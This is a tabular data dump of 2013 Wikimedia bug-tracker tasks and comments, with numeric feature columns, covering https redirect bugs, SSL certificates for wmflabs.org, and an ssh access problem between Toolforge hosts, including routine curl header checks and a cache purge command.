**Severity**: major",Needs Triage,90.0,1382414760,1401902866.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,,False,PHID-TASK-o47zmudzjjgqctumtubv,task_description,resolved,True,c2,3,False,False,False,7,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.512820512820513,0.717948717948718,"'Mobile view' link always heads to https because of incorrect value in second argument of MobileContext::getMobileUrl().

--------------------------
**Version**: unspecified
**Severity**: major"
265157,'Mobile view' link always heads to https,"Change 137291 merged by MaxSem:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/137291",,,1401919391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.476190476190476,1.0,"Change 137291 merged by MaxSem:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265154,'Mobile view' link always heads to https,"Yep, but maybe it's possible to merge the change into REL1_22? :)",,,1401903124,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,"Yep, but maybe it's possible to merge the change into REL1_22? :)"
265152,'Mobile view' link always heads to https,This is still resolved I think??,,,1401902866,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.875,This is still resolved I think??
265150,'Mobile view' link always heads to https,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/137291",,,1401880631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.769230769230769,1.0,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265147,'Mobile view' link always heads to https,"Change 91123 merged by jenkins-bot:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/91123",,,1382481350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.173913043478261,1.0,"Change 91123 merged by jenkins-bot:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265143,'Mobile view' link always heads to https,"Change 91123 had a related patch set uploaded by devunt:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/91123",,,1382415009,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.1923076923076925,1.0,"Change 91123 had a related patch set uploaded by devunt:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
265138,'Mobile view' link always heads to https,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1322",,,1382414840,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57957,Get SSL certificates for wmflabs.org,"So that services like these:
* http://acc.wmflabs.org
* http://parsoid.wmflabs.org
* http://cvn.wmflabs.org/api.php

.. can get proper valid HTTPS connections.

See also bug 48501 (for *.{projects}.beta.wmflabs.org, probably needs separate treatment)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382338080,1382375472.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-37lmnryg4rtyk6aklzyk,task_description,invalid,True,c2,3,True,False,True,7,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.052631578947368,0.631578947368421,"So that services like these:
* URL
* URL
* URL

.. can get proper valid HTTPS connections.

See also bug 48501 (for *.{projects}.beta.wmflabs.org, probably needs separate treatment)

--------------------------
**Version**: unspecified
**Severity**: normal"
263694,Get SSL certificates for wmflabs.org,This is already done and is working on yuviproxy. We just need to merge in the proxy interface for wikitech and package the invisible unicorn api for yuviproxy.,,,1382375472,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-37lmnryg4rtyk6aklzyk,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.433333333333334,0.8,This is already done and is working on yuviproxy. We just need to merge in the proxy interface for wikitech and package the invisible unicorn api for yuviproxy.
57945,not able to ssh to tools-dev from tools-login,"**Author:** `johan.gunnarsson`

**Description:**
Can not ssh to tools-dev from tools-login:

johang@tools-login:~$ ssh tools-dev

If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
Permission denied (publickey).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382292180,1409168555.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_description,invalid,True,c2,3,False,False,False,7,True,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,4.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5714285714285716,0.5714285714285714,"**Author:** CODE

**Description:**
Can not ssh to tools-dev from tools-login:

johang@tools-login:~$ ssh tools-dev

If you are having access problems, please see: URL
Permission denied (publickey).

--------------------------
**Version**: unspecified
**Severity**: normal"
263123,not able to ssh to tools-dev from tools-login,Unable to reproduce.,,,1409168555,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Unable to reproduce.
263116,not able to ssh to tools-dev from tools-login,"(In reply to comment #2)
> Yup, that's it. I wasn't forwarding it correctly.

No, the problem lies with Tools in that host-based authentification between tools-dev and tools-login isn't working anymore.  ssh'ing from tools-dev and tools-login to tools-exec-01 succeeds.

I discovered that both tools-dev and tools-login had the ssh_hba variable unset, but setting it back to ""yes"" didn't fix the issue.  There were some changes to the submit host mechanism in conjunction with the introduction of the webnode role, but I don't see anything obvious.  Need to debug further.",,,1388275091,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,True,,,17,True,1.0,1.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,1.5,0.0,4.5,9.0,1.0,0.5,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,22.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,5.0,0.5,3.5,6.5,0.0,0.0,0.0,0.5,3.0,1.0,0.5,0.0,2.0,9.0,1.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7737288135593223,0.7398305084745762,"(In reply to comment #2)
QUOTE

No, the problem lies with Tools in that host-based authentification between tools-dev and tools-login isn't working anymore.  ssh'ing from tools-dev and tools-login to tools-exec-01 succeeds.

I discovered that both tools-dev and tools-login had the ssh_hba variable unset, but setting it back to ""yes"" didn't fix the issue.  There were some changes to the submit host mechanism in conjunction with the introduction of the webnode role, but I don't see anything obvious.  Need to debug further."
263107,not able to ssh to tools-dev from tools-login,"**johan.gunnarsson** wrote:

Yup, that's it. I wasn't forwarding it correctly.",,,1382298279,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3333333333333335,0.7619047619047619,"**johan.gunnarsson** wrote:

Yup, that's it. I wasn't forwarding it correctly."
263100,not able to ssh to tools-dev from tools-login,"ok, either you aren't forwarding your private key properly, or it's not located on tools-login in ~/.ssh",,,1382295431,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8260869565217392,0.9565217391304348,"ok, either you aren't forwarding your private key properly, or it's not located on tools-login in ~/.ssh"
57854,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"seen on test2wiki Oct 17 after deploy

http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 

correctly goes to the 'Create account' UI

http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup

redirects to https but goes to the Login UI, not to the 'Create account' UI

Special:CreateAccount and Special:UserLogin/signup continue to function correctly

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1382050680,1382053355.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tltmp7b334zjmyu7oik7,task_description,resolved,True,c2,3,False,False,True,7,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,10.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.013888888888889,0.5416666666666666,"seen on test2wiki Oct 17 after deploy

URL 

correctly goes to the 'Create account' UI

URL

redirects to https but goes to the Login UI, not to the 'Create account' UI

Special:CreateAccount and Special:UserLogin/signup continue to function correctly

--------------------------
**Version**: unspecified
**Severity**: major"
258513,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,seems to have been a temporary condition,,,1382053355,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,seems to have been a temporary condition
258507,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"(In reply to comment #0)
> seen on test2wiki Oct 17 after deploy
> 
> http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 
> 
> correctly goes to the 'Create account' UI

should be 

https://test2.wikipedia.org/wiki/Special:UserLogin?type=signup",,,1382050804,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8260869565217392,0.6086956521739131,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

should be 

URL"
57804,Remove https redirect for loginwiki in beta,"It looks like in beta, the apache configuration is redirecting http://login.wikimedia.org to https.

I'm not sure where those configs are stored, but can we remove that? I did that for production a while back, but it looks like the change didn't get into beta.

This will let us enable SUL2 without https support in beta.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1381950600,1382138439.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-be3n24ybyqhu2mwflp3z,task_description,resolved,True,c2,3,True,False,True,7,True,0.0,0.0,0.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,1.0,5.0,10.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.0,1.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.7857142857142856,0.6904761904761905,"It looks like in beta, the apache configuration is redirecting URL to https.

I'm not sure where those configs are stored, but can we remove that? I did that for production a while back, but it looks like the change didn't get into beta.

This will let us enable SUL2 without https support in beta.

--------------------------
**Version**: unspecified
**Severity**: normal"
280366,Remove https redirect for loginwiki in beta,"I have purged http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page as well, was redirecting to the https version.",,,1382126008,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7857142857142856,1.0,"I have purged URL as well, was redirecting to the https version."
280362,Remove https redirect for loginwiki in beta,"Assigning to Chris Steipp since he did all the work :-]


I have purged the page using:

hashar@deployment-bastion:~$ mwscript purgeList.php --wiki=enwiki
http://login.wikimedia.beta.wmflabs.org/
^D
Purging 1 urls
Done!



Before:

$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
Location: https://login.wikimedia.beta.wmflabs.org/
Content-Type: text/html; charset=iso-8859-1
Vary: X-Forwarded-Proto
X-Varnish: 687980 209891, 906468551 906468446
Via: 1.1 varnish, 1.1 varnish
Content-Length: 249
Accept-Ranges: bytes
Date: Fri, 18 Oct 2013 19:49:09 GMT
Age: 349692
Connection: keep-alive
X-Cache: deployment-cache-text1 hit (6), deployment-cache-text1 frontend hit (4)


AFTER purge:



$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: s-maxage=1200, must-revalidate, max-age=0
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=loginwikiToken;string-contains=loginwikiLoggedOut;string-contains=forceHTTPS;string-contains=loginwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Last-Modified: Fri, 18 Oct 2013 19:49:28 GMT
Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page
Content-Type: text/html; charset=utf-8
X-Varnish: 688133, 906468558
Via: 1.1 varnish, 1.1 varnish
Date: Fri, 18 Oct 2013 19:49:28 GMT
Age: 0
Connection: keep-alive
X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)


I guess that fix the issue.",,,1382125890,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0.25,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.75,1.75,0.0,0.0,0.25,0.25,0.0,1.25,0.0,0.0,0.0,0.0,0.0,0.75,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.75,0.5,0.0,0.25,0.0,1.75,0.0,0.0,0.0,0.0,0.0,14.5,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.75,0.0,22.75,0.5,0.0,1.0,0.0,0.0,0.25,0.0,1.0,0.0,9.0,0.0,0.75,1.75,18.25,0.0,0.5,0.0,0.75,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.0,3.84375,0.5520833333333334,"Assigning to Chris Steipp since he did all the work :-]


I have purged the page using:

hashar@deployment-bastion:~$ mwscript purgeList.php --wiki=enwiki
URL
^D
Purging 1 urls
Done!



Before:

$ curl -qI 'URL 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
Location: URL
Content-Type: text/html; charset=iso-8859-1
Vary: X-Forwarded-Proto
X-Varnish: 687980 209891, 906468551 906468446
Via: 1.1 varnish, 1.1 varnish
Content-Length: 249
Accept-Ranges: bytes
Date: Fri, 18 Oct 2013 19:49:09 GMT
Age: 349692
Connection: keep-alive
X-Cache: deployment-cache-text1 hit (6), deployment-cache-text1 frontend hit (4)


AFTER purge:



$ curl -qI 'URL 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: s-maxage=1200, must-revalidate, max-age=0
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
